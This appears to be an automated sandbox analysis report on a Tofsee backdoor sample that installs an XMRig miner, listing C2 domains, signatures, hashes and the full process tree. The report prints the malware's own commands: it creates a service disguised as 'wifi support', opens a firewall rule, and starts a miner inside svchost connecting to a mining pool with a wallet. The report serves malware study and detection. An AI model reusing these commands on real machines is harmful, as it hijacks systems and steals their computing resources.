Analysis

  • max time kernel
    151s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 18:13

General

  • Target
    file.exe
  • Size 303KB
  • Sample221219-wtql9sag3s
  • SHA256 2c09258485e12aae070248e4f5d1fff79e39d40d4e5df758671dee0e01275a04
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2380
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\flcyqyka\
      2⤵
        PID:4976
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\sikxogr.exe" C:\Windows\SysWOW64\flcyqyka\
        2⤵
          PID:632
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create flcyqyka binPath= "C:\Windows\SysWOW64\flcyqyka\sikxogr.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1880
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description flcyqyka "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4004
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start flcyqyka
          2⤵
          • Launches sc.exe
          PID:4500
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:208
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2380 -s 1036
          2⤵
          • Program crash
          PID:3176
      • C:\Windows\SysWOW64\flcyqyka\sikxogr.exe
        C:\Windows\SysWOW64\flcyqyka\sikxogr.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1252
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4224
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1956
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1252 -s 264
          2⤵
          • Program crash
          PID:2560
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2380 -ip 2380
        1⤵
          PID:3824
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1252 -ip 1252
          1⤵
            PID:4348

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                sikxogr.exe

                • Path C:\Users\Admin\AppData\Local\Temp\sikxogr.exe
                • Size 12.3MB
                • SHA256 1971bc9f42cf0c4c3bfcc651d0e35afab16b73a6cb8c084a4aa7ebbfdad092ca
                • MD5 SHA1 SHA512 SSDEEP

                sikxogr.exe

                • Path C:\Windows\SysWOW64\flcyqyka\sikxogr.exe
                • Size 12.3MB
                • SHA256 1971bc9f42cf0c4c3bfcc651d0e35afab16b73a6cb8c084a4aa7ebbfdad092ca
                • MD5 SHA1 SHA512 SSDEEP

                memory/1252-150-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/1252-149-0x0000000000624000-0x0000000000639000-memory.dmp

                memory/1956-172-0x0000000000AC0000-0x0000000000BB1000-memory.dmp

                memory/1956-177-0x0000000000AC0000-0x0000000000BB1000-memory.dmp

                memory/2380-134-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/2380-143-0x0000000000659000-0x000000000066E000-memory.dmp

                memory/2380-144-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/2380-132-0x0000000000659000-0x000000000066E000-memory.dmp

                memory/2380-133-0x00000000005B0000-0x00000000005C3000-memory.dmp

                memory/4224-146-0x0000000000180000-0x0000000000195000-memory.dmp

                memory/4224-151-0x0000000000180000-0x0000000000195000-memory.dmp

                memory/4224-152-0x0000000000180000-0x0000000000195000-memory.dmp

                memory/4224-153-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/4224-156-0x0000000002210000-0x0000000002216000-memory.dmp

                memory/4224-159-0x0000000002220000-0x0000000002230000-memory.dmp

                memory/4224-162-0x00000000023F0000-0x00000000023F5000-memory.dmp

                memory/4224-165-0x0000000006F00000-0x000000000730B000-memory.dmp

                memory/4224-168-0x0000000007450000-0x0000000007457000-memory.dmp